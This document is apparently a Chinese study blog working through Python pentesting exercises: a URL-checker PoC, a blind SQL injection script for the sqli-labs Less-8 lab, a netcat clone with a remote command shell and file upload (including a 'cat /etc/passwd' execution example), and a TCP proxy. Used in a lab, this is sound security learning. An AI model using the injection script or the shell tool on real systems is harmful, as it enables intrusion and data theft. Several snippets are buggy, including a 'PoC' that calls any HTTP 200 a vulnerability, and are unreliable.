python与渗透

wingide personal 9_9.1

1.poc编写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#输入点确定
#构造恶意输入
#目标检验
import requests
#1.url处理
#前缀协议的增删、结尾/的删除
def process_url(url):
if not url.startswith('http://') and not url.startswith('https://'):
url='http://'+url

#只获取域名部分
url_paths=url.split('/') #如[http, ,www.ip,path,to,file]
#有空的部分是因为 http://,有两个/,第二个/分割后没有值
url_without_path='/'.join(url_paths[:3])#列表第0,1,2元素
#删除"/"
if url_without_path.endswith('/'):
url_without_path=url_without_path[:-1] #开头到倒数第二个字符

return url_without_path
#2.状态码识别 导入requests库
def getcode(url):
try:
response=requests.get(url)
return response.status_code
except requests.exceptions.RequestException:
return None
#3.文件读取 批量漏洞验证,即读取多个url
#line.strip()去除该行的首尾空白字符(包括换行符)。
def getfile(filename):
try:
with open(filename,'r') as file:
urls=[line.strip() for line in file.readlines()] #列表推到式
return urls
except IOError:
print(f'无法读取文件')
return[]
def main():
#读取url列表
filename=input("url文件名")
urls=getfile(filename)

if len(urls)==0:
print("没呀")
return
for url in urls:
process_url=process_url(url)#处理成域名
status_code=getcode(process_url)

print(f'\n{process_url}\n状态码:{status_code}')

response方法

response.status_code 相应的状态码
response.json() 响应体的特殊字段
response.text 响应体里的文本内容
response.headers 响应头字段
response.elapsed 响应包的响应时间
response.content 响应体的二进制数据

poc验证

post

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#4.poc post验证 如果是sql注入
def poc_post(target):
url=target+"/"
#参数
data={
'username':'123',
'password':'123'
}
#头部
headers={
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'
}
try:
response=requests.post(url,data=data,headers=headers)
if response.status_code==200:
print("漏洞存在")
#可进一步处理漏洞
else:
print("无漏洞")
except requests.exceptions.RequestException as e:
print("请求异常:",e)

get

data改为params即可

盲注

以sqli-labs less 8为例

二分查找当然更好

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
url="http://localhost:81/sqli/Less-8/?id="
i=1
name=""
#substr从1开始
while i<10:
for j in range(64,128):
# id=f"1' and ascii(substr(database(),{i},1))={j}--+"
id=f"1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 2,1),{i},1))={j}--+"
target=url+id
response=requests.get(target)
if "You" in response.text:
name=name+chr(j)
print(name)
i=i+1

2.socket模块

客户端、服务端,TCP代理的编写;然后完善成自己的netcat,最后完成一个命令行shell工具编写。为了后续编写主机发现工具,实现跨平台嗅探、创建木马框架。

1.基本的tcp c/s

客户端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import socket
target_host="www.baidu.com"
target_port=80

#socket对象的建立
client=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

#客户端连接
client.connect((target_host,target_port))

#发送数据
client.send(b"GET / HTTP/1.1\r\nHost:baidu.com\r\n\r\n")

#接收数据
response=client.recv(4096)#只从服务端接收4096字节的数据

print(response)


AF_INET 表明用ipv4地址或主机名

SOCK_STREAM指明TCP客户端

客户端连接到服务器,发送数据

接收数据并将响应数据打印。

服务端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import socket
import threading

bind_ip="0.0.0.0"
bind_port=9999

server=socket.socket(socket.AF_INET,socket.SOCK_STREAM)


#监听的ip地址和端口
server.bind((bind_ip,bind_port))

#启动监听
server.listen(5)

print("[*] Listening on %s:%d" % (bind_ip,bind_port))

#客户处理线程
def handle_client(client_socket):
#打印出客户端发送得到内容
request=client_socket.recv(4096)#执行后,消息发给客户端

print("[*] Recived: %s" % request.decode())

#返还一个数据包
client_socket.send(b"ACK!")

client_socket.close()

#等待连接。
while True:
client,addr=server.accept()#client保存套接字,远程连接细节保存到addr
print("[*] Accepted connection from: %s:%d" % (addr[0],addr[1]))
#挂起客户端线程,处理传入数据
client_handler=threading.Thread(target=handle_client,args=(client,)) #新的线程对象,将客户端套接字对象作为句柄传递

#启动线程,处理客户端连接
client_handler.start()

.accept()使得服务器可以接受客户端的连接请求,并返回一个用于与客户端进行通信的套接字对象和客户端的地址信息。

配合客户端的配置(且本机关闭防火墙)

host:127.0.0.1

port:9999

.send(b”hello\r\n”)

….

先执行服务端,然后执行客户端

[*] Listening on 0.0.0.0:9999
[*] Accepted connection from: 127.0.0.1:62496
[*] Recived: hello

2.基本的udp c/s

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import socket
target_host="127.0.0.1"
target_port=80

#socket对象的建立
client=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)


#发送数据
client.send(b"aaabbbccc",(target_host,target_port))

#接收数据
data,addr=client.recvfrom(4096) #回传的数据以及远程主机信息和端口号

print(data)


3.netcat编写

即监听工具,比如一般使用的nc -lvnp 1234

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
import sys   #Python解释器和运行时环境交互
import socket #客户端与服务端连接
import getopt #命令行选项解析模块
import threading #多线程编程,并发执行、异步操作和线程间的协调与通信等
import subprocess #用于创建和管理子进程的模块,执行外部命令、调用其他可执行文件,并与其进行交互和处理。

#全局变量
listen =False
command=False
upload =False
execute=""
target =""
port =0

def usage():
print("BHP Net Tool")
print()
print("Usage: bhpnet.py -t target_host -p port")
print("-l --listen -listen on [host]:[port] for incoming connections")
print("-e --execute=file_to_run -execute the given file upon receiving a connection")
print("-c --command -initialize a command shell")
print("-u --upload=destination -upon receiving connection upload a file and write to [destination]")
print()
print()
print("ep:")
print("bhpnet.py -t 192.168.0.1 -p 5555 -l -c")
print("bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe")
print("bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\"")
print("echo 'abcd' | ./bhpnet.py -t 192.168.0.1 -p 5555")
sys.exit(0)

def main():
global listen
global port
global execute
global command
global upload_destination
global target

if not len(sys.argv[1:]):
usage()

#2.读取命令行选项
try: #即常见的-h,-l,-e...由opts接收,而args是剩下的命令选项
opts,args=getopt.getopt(sys.argv[1:],"hle:t:p:cu:",
["help","listen","execute","target","port","command","upload"])


except getopt.GetoptError as err:
print(str(err))
usage()
for o,a in opts:
if o in ("-h","--help"):
usage()
elif o in ("-l","--listen"):
listen=True
elif o in ("-e","--excute"):
execute = a
elif o in ("-c","--commandshell"):
command=True
elif o in ("-u","--upload"):
upload_destination=a
elif o in ("-t","--target"):
target=a
elif o in ("-p","--port"):
port=int(a)
elif o in ("-u","--upload"):
upload_destination=a
else:
assert False,"input wrong!"
#3.监听或 仅从标准输入发送数据
if not listen and len(target) and port >0:

#从命令行读取内存数据
#阻塞,不向标准输入发送数据时,发送ctrl -d
buffer =sys.stdin.read()
#发送数据
client_sender(buffer)

#4.监听并上传文件、执行命令
#放置一个反弹shell
#取决于上面的命令行选项
if listen:
server_loop()

在main()函数中继续添加,用来接收、处理用户数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
def client_sender(buffer):
client=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

try:
#连接到目标主机
client.connect((target,port))
if len(buffer):
client.send(buffer)

while True:
#等待数据回传
recv_len=1
response=""

while recv_len:

data=client.recv(4096)
recv_len=len(data)
response+=data

if recv_len<4096:
break
print(response)

#等待更多输入
buffer=raw_input("")
buffer+="\n"

#发送出去
client.send(buffer)
except:
print("[*] Exception! Exiting.")

#关闭连接
client.close()

监听,然后运行命令,这些执行的命令,都被存储到output变量中了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
def server_loop():
global target

#若无目标,监听所有接口
if not len(target):
target="0.0.0.0"
server =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server.bind((target,port))

server.listen(5)

while True:
client_socket,addr=server.accept()

#分拆一个线程处理新的客户端
client_thread=threading.Thread(target=client_handler,
args=(client_socket,))
client_thread.start()

def run_command(command):

#换行
command=command.rstrip()
#运行命令并将输出返回

try:
output=subprocess.check_output(command,stderr=subprocess.
STDOUT,shell=True)
except:
output=("Failed to execute command.\r\n")
#发送输出
return output

文件上传、命令执行和shell相关功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
def client_handler(client_socket):
global upload
global execute
global command

#检测上传文件
if len(upload_des):
#读取所有字符并写下目标
file_buffer=""

#持续读取直到没有符合的数据
while True:
data=client_socket.recv(1024)

if not data:
break
else:
file_buffer+=data
#接收数据并写出来
try:
file_descriptor=open(upload_des,"wb")
file_descriptor.write(file_buffer)
file_descriptor.close()

#检查文件是否写出来了

client_socket.send(b"Successfully saved file to %s\r\b" % upload_des)
except:
client_socket.send(b"Failed to save file to %s\r\b" % upload_des)

#检查命令执行
if len(execute):
#运行命令
output=run_command(execute)
client_socket.send(output)


#命令行shell
if command:
while True:
#弹出窗口
client_socket.send(b"<BHP:#>")

#现在接收文件,直到发现换行符
cmd_buffer=""
while "\n" not in cmd_buffer:

cmd_buffer+=client_socket.recv(1024)

#返还命令输出
response=run_command(cmd_buffer)
#返回响应数据
client_socket.send(response)

windows下:

服务器端cd到文件所在目录:python netcat.py -l -p 5555 -c

客户端cd到文件所在目录:python netcat.py -t localhost -p 5555

然后输入信息,观察服务器端情况

客户端输入dir回车时,服务端出现:

Exception in thread Thread-12:
Traceback (most recent call last):

… target(*self._args, **self._kwargs)
File “netcat.py”, line 203, in client_handler
cmd_buffer+=client_socket.recv(1024)
ConnectionAbortedError: [WinError 10053] 你的主机中的软件中止了一个已建立的连接。

客户端提示是触发了client_sender里的except,将原except改一下:

发现原因:

dir
[*] Exception: a bytes-like object is required, not ‘str’

将client_sender()处的clent.send改为:

client.send(buffer.encode()) //创建一个字节类型的对象并将其发送给服务器。

但是:

[*] Exception: can only concatenate str (not “bytes”) to str

      print(response.decode())
    #等待更多输入
     #buffer=raw_input("")
     buffer=input("")
     buffer+="\n"
                
     #发送出去
     client.send(buffer.encode())
     
     
     ....
                     
      while b"\n" not in cmd_buffer:

.send()和.recv()函数要的是字节型字符串,注意不要把字节型字符串与普通字符拼接。

之后出现

Exception: ‘utf-8’ codec can’t decode byte 0xc7 in position 1: invalid continuation byte

考虑在windows环境下执行,需要import chardet,编码为gbk

应用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
e:\Wing Personal 9>python netcat.py -t localhost -p 5555
^Z
<BHP:#>
input:
dir
驱动器 E 中的卷是 E
卷的序列号是 28FF-7164

e:\Wing Personal 9 的目录

2023/05/20 18:34 <DIR> .
2023/05/20 18:34 <DIR> ..
2023/05/13 20:18 <DIR> bin
2023/05/03 20:20 <DIR> bootstrap
2023/05/13 20:19 <DIR> build-files
2023/05/17 18:49 1,272,872 CATALOG.txt

完整代码

如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
import sys   #Python解释器和运行时环境交互
import socket #客户端与服务端连接
import getopt #命令行选项解析模块
import threading #多线程编程,并发执行、异步操作和线程间的协调与通信等
import subprocess #用于创建和管理子进程的模块,执行外部命令、调用其他可执行文件,并与其进行交互和处理。
import chardet #编码问题

#全局变量
listen =False
command=False
upload =False
upload_des=""
execute=""
target =""
port =0

def usage():
print("BHP Net Tool")
print()
print("Usage: netcat.py -t target_host -p port")
print("-l --listen -listen on [host]:[port] for incoming connections")
print("-e --execute=file_to_run -execute the given file upon receiving a connection")
print("-c --command -initialize a command shell")
print("-u --upload_des -upon receiving connection upload a file and write to [destination]")
print()
print()
print("ep:")
print("netcat.py -t 192.168.0.1 -p 5555 -l -c")
print("netcat.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe")
print("netcat.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\"")
print("echo 'abcd' | ./netcat.py -t 192.168.0.1 -p 5555")
sys.exit(0)

def main():
global listen
global port
global execute
global command
global upload_des
global target

if not len(sys.argv[1:]):
usage()

#2.读取命令行选项
try:
opts,args=getopt.getopt(sys.argv[1:],"hle:t:p:cu:",
["help","listen","execute","target","port","command","upload"])


except getopt.GetoptError as err:
print(str(err))
usage()

for o,a in opts:
if o in ("-h","--help"):
usage()
elif o in ("-l","--listen"):
listen=True
elif o in ("-e","--excute"):
execute = a
elif o in ("-c","--command"):
command=True
elif o in ("-u","--upload"):
upload_des=a
elif o in ("-t","--target"):
target=a
elif o in ("-p","--port"):
port=int(a)

else:
assert False,"input wrong!"
#3.监听或 仅从标准输入发送数据
if not listen and len(target) and port >0:

#从命令行读取内存数据
#阻塞,不向标准输入发送数据时,linux发送ctrl -d,windows ctrl z
buffer =sys.stdin.read()
#发送数据
client_sender(buffer)

#4.监听并上传文件、执行命令
#放置一个反弹shell
#取决于上面的命令行选项
if listen:
server_loop()

def client_sender(buffer):
#这个函数里要特别注意杜绝字节型字符串和普通字符串的拼接问题
#且,网络发送的都是字节型字符串,注意编码解码
client=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

try:
#连接到目标主机
client.connect((target,port))
if len(buffer):
#client.send(buffer)
client.send(buffer.encode('utf-8'))#windows是默认gdk编码

while True:
#等待数据回传
recv_len=1
response=""


while recv_len:

data=client.recv(4096).decode('utf-8') #
recv_len=len(data)
response+=data

if recv_len<4096:
break
print(response)


#等待更多输入
#buffer=raw_input("")#python2用法
print("input:")
buffer=input("")
buffer+="\n"

#发送数据
client.send(buffer.encode('utf-8'))

except Exception as e:
#print("[*] Exception! Exiting.")
print(f"[*111] Exception: {str(e)}")
#关闭连接
client.close()

def server_loop():
global target

#若无目标,监听所有接口
if not len(target):
target="0.0.0.0"

server =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server.bind((target,port))

server.listen(5)

while True:
client_socket,addr=server.accept()

#分拆一个线程处理新的客户端
client_thread=threading.Thread(target=client_handler,
args=(client_socket,))

client_thread.start()

def run_command(command):

#处理空格和换行
command=command.rstrip()
#运行命令并将输出返回

try:
command=command.decode('utf-8')#先解码再执行
#运行命令并返回输出
output=subprocess.check_output(command,stderr=subprocess.
STDOUT,shell=True)
#返回结果为系统shell默认编码的形式
except Exception as e:

output = b"Failed to execute command. Error: {}".format(str(e))
#发送输出
return output

def client_handler(client_socket):
global upload
global execute
global command

#检测上传文件
if len(upload_des):
#读取所有字符并写下目标
file_buffer=""

#持续读取直到没有符合的数据
while True:
data=client_socket.recv(1024).decode('utf-8')

if not data:
break
else:
file_buffer+=data
#接收数据并写出来
try:
#file_descriptor=open(upload_des,"wb")
#file_descriptor.write(file_buffer)
#file_descriptor.close()
with open(upload_des,"wb") as file_descriptor:
file_descriptor.write(file_buffer)
#检查文件是否写出来了

client_socket.send(str.encode('Successfully saved file to %s\r\n' % upload_des))
except:
client_socket.send(str.encode('Failed to save file to %s\r\n' % upload_des))

#检查命令执行
if len(execute):
#运行命令
output=run_command(execute)
client_socket.send(output.encode('utf-8'))


#命令行shell
if command:
while True:
#弹出窗口
client_socket.send(b"<BHP:#>")


#现在接收文件,直到发现换行符
cmd_buffer=""
cmd_buffer=str.encode(cmd_buffer)

while "\n" not in cmd_buffer.decode('utf-8'):
cmd_buffer+=client_socket.recv(1024)

#返还命令输出
response=run_command(cmd_buffer)

#detect函数判断字节编码,按结果进行解码
btype=chardet.detect(response)
if btype['encoding']=='GB2312':
response=response.decode('gbk')
response=str.encode(response)
#返回响应数据
client_socket.send(response)

if __name__ =='__main__':
main()

server_loop 服务端主循环,接收客户端连接,返回客户端套接字

clent_sender 连接服务端,首先检测是否已经从标准输入中接收数据,如果一切正常,就将数据发送给远程的目标主机并接受回传数据,知道没有更多的数据发送回来,然后再等待用户的下一步输入,并继续发送和接受数据,直到用户结束程序。

run_command():提供与客户端交互的方法,通过连接将命令结果回传到客户端。
client_handler():提供上传文件,执行命令,反弹shell的功能。

str.encode()将字符串编码为字节

参考:

python3代码实现(第二章)_快吃小蛋糕吧的博客-CSDN博客

4.tcp代理

wireshark无法使用时,使用tcp代理了解未知协议。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
def server_loop(local_host,local_port,remote_host,remote_port,receive_first):

server=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

try:
server.bind((local_host,local_port))

except:
print("[!]Failed to listen on {0}:{1}".format(localhost,local_port))
sys.exit(0)
print("[*]Listening on {0}:{1}".format(localhost,local_port))

server.listen(5)

while True:
client_socket,addr=server.accept()

#打印出本地连接信息
print("[=>]Received incming connection from {0}:{1}".format(addr[0],addr[1]))

#开启一个线程与远程主机通信
proxy_thread=threading.Thread(target=proxy_handler,args=(client_socket,remote_host,remote_port,receive_first))

proxy_thread.start()

服务端的监听函数,如果有新的请求,交给proxy_handler处理。

sys.argv[n] n=0,1,2,3… 注意argv[0]是脚本名称,从1开始才是命令行参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def main():
if len(sys.argv[1:])!=5:
print("Usage:./tcpproxy.py [localhost][localport][remotehost][remoteport][receive_first]")
print("Example:./tcpproxy.py 127.0.0.1 9000 10.12.132.1 9000 True")
sys.exit(0)

#设置本地监听参数

local_host=sys.argv[1]
local_port=int(sys.argv[2])

#设置远程目标
remote_host=sys.argv[3]
remote_port=int(sys.argv[4])

#告知代理发送给远程主机之前连接和接收数据
receive_first=sys.argv[5]

if "True" in receive_first:
receive_first=True
else:
receive_first=False


#设置监听socket
server_loop(local_host,local_port,remote_host,remote_port,receive_first)
main()

主函数,没什么好说的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
def proxy_handler(client_socket,remote_host,remote_port,receive_first):
#连接远程主机
remote_socket=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
remote_socket.connect((remote_host,remote_port))

#若需要从远程主机接收数据
if receive_first:
remote_buffer=receive_from(remote_socket)
hexdump(remote_buffer)

#发送给响应处理
remote_buffer=response_handler(remote_buffer)

#若有数据传送给本地客户端,发送
if len(remote_buffer):
print("[<====] Sending {0} bytes to localhost.".format(len(remote_buffer)))
client_socket.send(remote_buffer)

#本地循环读取数据,发送给远程主机和本地主机
while True:
#从本地读取
local_buffer=receive_from(client_socket)

if len(local_buffer):
print("[===>] Received {0} bytes from localhost".format(len(local_buffer)))
hexdump(local_buffer)

#发送给本地请求
local_buffer=request_handler(local_buffer)

#发送数据给远程主机
remote_socket.send(local_buffer)
print("[===>]Sent to remote.")

#接收响应的数据
remote_buffer=receive_from(remote_socket)

if len(remote_buffer):
print("[<====]Received {0} bytes from remote.".format(len(remote_buffer)))
hexdump(remote_buffer)

#发送到响应处理函数
remote_buffer=response_handler(remote_buffer)

#将响应给本地socket
client_socket.send(remote_buffer)

print("[<=====] Sent to localhost.")

#如果两边都没有数据,关闭连接
if not len(local_buffer) or not len(remote_buffer):
client_socket.close()
remote_socket.close()
print("[*]No more data.Closing connections.")

break

这就是代理的主体逻辑

首先,先有个判断,不向远程主机主动发送数据。

然后receive_from()函数,它使用套接字对象实现对数据的接收

hexdump()转储数据包的负载内容

将收到的数据提交给response_hanlder,可以自行添加内容(如修改数据包内容,模糊测试、检测认证问题)

类似的request_handler函数,是将输出流量进行修改。

最后将接收到的缓存发送给本地客户端。

陆续从本地读取数据、处理、发送到远程主机、从远程读取数据、处理、发回本机。

.send()很好理解了,向谁发送,就用谁的套接字,如向本地发送,就client_socket.send()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
        
def hexdump(src,length=16): #16进制导出函数
result=[]
digits= 4 if isinstance(src,unicode) else 2

for i in xrange(0,len(src),length):
s=src[i:i+length]
hexa=b' '.join(["%0*X" %(digits,ord(x)) for x in s])
text=b' '.join([x if 0x20 <=ord(x) <0x7F else b'.' for x in s])
result.append(b"%04X %-*s %s" % (i,length*(digits+1),hexa,text))
print(b"'\n'.join(result)")

def receive_from(connection):

buffer=""

#设置两秒的超时,取决于目标情况
connection.settimeout(2)
try:
#持续从缓存中读取数据直到没有数据或超时
while True:
data=connection.recv(4096)

if not data:
break

buffer+=data
except:
pass

return buffer

#对目标是远程主机的请求进行修改
def request_handler(buffer):
#执行包修改
return buffer
#....本地主机的响应....
def response_handler(buffer):
#执行包修改
return buffer

hexdump的作用是仅输出数据包的十六进制值和可打印的ASCII

receive_from 接收本地和远程的数据

错误整理

这里我是widnows情况下,建了一个本地ftp服务器

python tcpproxy.py 127.0.0.1 5555 192.168.1.142 21 True

注意,因为建立ftp服务器已经占用了一个21端口,监听端口就不能再用21了。

之后需要打开终端

ftp 127.0.0.1 5555 但是由于windows中没有指明端口的操作(默认为21端口)

(代理程序只是将数据流量转发给远程的 FTP 服务器,并不直接与 FTP 服务器通信。)

连接127.0.0.1 5555

代理程序出现

[*]Listening on 127.0.0.1:5555 [=>]Received incming connection from 127.0.0.1:59419 b’’ [=>]Received incming connection from 127.0.0.1:59428 b’’

至于数据传输,我搞不明白。

在FileZilla上操作半天,也传不上数据哇。后面再说吧

当然在kali没这么麻烦,kali是允许,不同ip同端口的。

new:

但是这样吧,

我在cmd上连接ftp

ftp 127.0.0.1;则监听端口必须要21。将我建立的ftp服务器改个端口(其实可以用工具端口转发,懒得弄)我把本地搭建的ftp服务器端口改为5556了。

所以监听端这样弄:

python tcpproxy.py 127.0.0.1 21 192.168.1.142 5556 True

新开一个cmd,输入

ftp 127.0.0.1

C:\Users\67538>ftp 127.0.0.1
连接到 127.0.0.1。
220 Microsoft FTP Service
远程主机关闭连接。

服务端出现

[=>]Received incming connection from 127.0.0.1:50678
0000 32 32 30 20 4D 69 63 72 6F 73 6F 66 74 20 46 54 220 Microsoft FT
0010 50 20 53 65 72 76 69 63 65 0D 0A P Service..
[<====] Sending 27 bytes to localhost.
[===>] Received 14 bytes from localhost
0000 4F 50 54 53 20 55 54 46 38 20 4F 4E 0D 0A OPTS UTF8 ON..
Exception in thread Thread-5:
Traceback (most recent call last):
File “C:\Users\67538\AppData\Local\Programs\Python\Python38\lib\threading.py”, line 932, in _bootstrap_inner
self.run()
File “C:\Users\67538\AppData\Local\Programs\Python\Python38\lib\threading.py”, line 870, in run
self._target(*self._args, **self._kwargs)
File “tcpproxy.py”, line 125, in proxy_handler
remote_socket.send(local_buffer)
ConnectionResetError: [WinError 10054] 远程主机强迫关闭了一个现有的连接。

居然是超时的问题

我原以为这个时间越长越好,改成了100,原来 较长的超时可能会导致连接失败

  connection.settimeout(2) 

应用

python tcpproxy.py 127.0.0.1 21 192.168.1.142 5556 True

ftp 127.0.0.1

C:\Users\67538>ftp 127.0.0.1
连接到 127.0.0.1。
220 Microsoft FTP Service
200 OPTS UTF8 command successful - UTF8 encoding now ON.
用户(127.0.0.1:(none)): yuleiyun

[]Listening on 127.0.0.1:21
[=>]Received incming connection from 127.0.0.1:51693
0000 32 32 30 20 4D 69 63 72 6F 73 6F 66 74 20 46 54 220 Microsoft FT
0010 50 20 53 65 72 76 69 63 65 0D 0A P Service..
[<====] Sending 27 bytes to localhost.
[===>] Received 14 bytes from localhost
0000 4F 50 54 53 20 55 54 46 38 20 4F 4E 0D 0A OPTS UTF8 ON..
[===>]Sent to remote.
[<====]Received 58 bytes from remote.
0000 32 30 30 20 4F 50 54 53 20 55 54 46 38 20 63 6F 200 OPTS UTF8 co
0010 6D 6D 61 6E 64 20 73 75 63 63 65 73 73 66 75 6C mmand successful
0020 20 2D 20 55 54 46 38 20 65 6E 63 6F 64 69 6E 67 - UTF8 encoding
0030 20 6E 6F 77 20 4F 4E 2E 0D 0A now ON…
[<=====] Sent to localhost.
[
]No more data.Closing connections.

完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
import sys
import socket
import threading
import logging
logging.basicConfig(level=logging.WARNING)

def server_loop(local_host,local_port,remote_host,remote_port,receive_first):

server=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

try:
server.bind((local_host,local_port))

except:
print("[!]Failed to listen on {0}:{1}".format(local_host,local_port))
sys.exit(0)
print("[*]Listening on {0}:{1}".format(local_host,local_port))

server.listen(5)

while True:
client_socket,addr=server.accept()

#打印出本地连接信息
print("[=>]Received incming connection from {0}:{1}".format(addr[0],addr[1]))

#开启一个线程与远程主机通信
proxy_thread=threading.Thread(target=proxy_handler,args=(client_socket,remote_host,remote_port,receive_first))

proxy_thread.start()


#def hexdump(src,length=16): #16进制导出函数
#result=[]
##digits= 4 if isinstance(src,unicode) else 2
#digits= 4 if isinstance(src,str) else 2

## for i in xrange(0,len(src),length):
#for i in range(0,len(src),length):

#s=src[i:i+length]
#hexa=b' '.join(["%0*X" %(digits,ord(x)) for x in s])
#text=b' '.join([x if 0x20 <=ord(x) <0x7F else b'.' for x in s])
#result.append(b"%04X %-*s %s" % (i,length*(digits+1),hexa,text))
#print(b'\n'.join(result))

#说是不适用于python3

def hexdump(src, length=16):
result = []
# Python 3 renamed the unicode type to str, the old str type has been replaced by bytes
digits = 4 if isinstance(src, str) else 2
# xrange() was renamed to range() in Python 3.
for i in range(0, len(src), length):
s = src[i:i+length]
hexa = ' '.join(["%0*X" % (digits, (x)) for x in s])
#logging.info("\t\thexa:%s"%hexa)
#logging.info("".join(str(type(x)) for x in s))
text = ''.join([chr(x) if 0x20 <= x < 0x7F else '.' for x in s])
#logging.info("\t\ttext:%s"%text)
result.append( "%04X %-*s %s" % (i, length*(digits + 1), hexa, text) )
print ('\n'.join(result))

def receive_from(connection):

buffer=b""

#设置两秒的超时,取决于目标情况
connection.settimeout(2)
try:
#持续从缓存中读取数据直到没有数据或超时
while True:
data=connection.recv(4096)

if not data:
break
#logging.info("receive data:%s"%data)
buffer+=data
except:
pass

return buffer



#对目标是远程主机的请求数据进行修改
def request_handler(buffer):
#执行包修改
return buffer
#....响应数据修改....
def response_handler(buffer):
#执行包修改
return buffer

def proxy_handler(client_socket,remote_host,remote_port,receive_first):
#连接远程主机
remote_socket=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
remote_socket.connect((remote_host,remote_port))

#若需要从远程主机接收数据
if receive_first:
remote_buffer=receive_from(remote_socket)
# logging.info("remote_buffer:%s"%remote_buffer)
hexdump(remote_buffer)

#发送给响应处理
remote_buffer=response_handler(remote_buffer)

#若有数据传送给本地客户端,并发送
if len(remote_buffer):
print("[<====] Sending {0} bytes to localhost.".format(len(remote_buffer)))
client_socket.send(remote_buffer)

#本地循环读取数据,发送给远程主机和本地主机
while True:
#从本地读取
local_buffer=receive_from(client_socket)

if len(local_buffer):
print("[===>] Received {0} bytes from localhost".format(len(local_buffer)))
hexdump(local_buffer)

#发送给request handler
local_buffer=request_handler(local_buffer)

#发送数据给远程主机
remote_socket.send(local_buffer)
print("[===>]Sent to remote.")

#接收响应的数据
remote_buffer=receive_from(remote_socket)

if len(remote_buffer):
print("[<====]Received {0} bytes from remote.".format(len(remote_buffer)))
hexdump(remote_buffer)

#发送到响应处理函数
remote_buffer=response_handler(remote_buffer)

#将响应给本地socket
client_socket.send(remote_buffer)

print("[<=====] Sent to localhost.")

#如果两边都没有数据,关闭连接
if not len(local_buffer) or not len(remote_buffer):
client_socket.close()
remote_socket.close()
print("[*]No more data.Closing connections.")

break

def main():
if len(sys.argv[1:])!=5:
print("Usage:./tcpproxy.py [localhost][localport][remotehost][remoteport][receive_first]")
print("Example:./tcpproxy.py 127.0.0.1 9000 10.12.132.1 9000 True")
sys.exit(0)

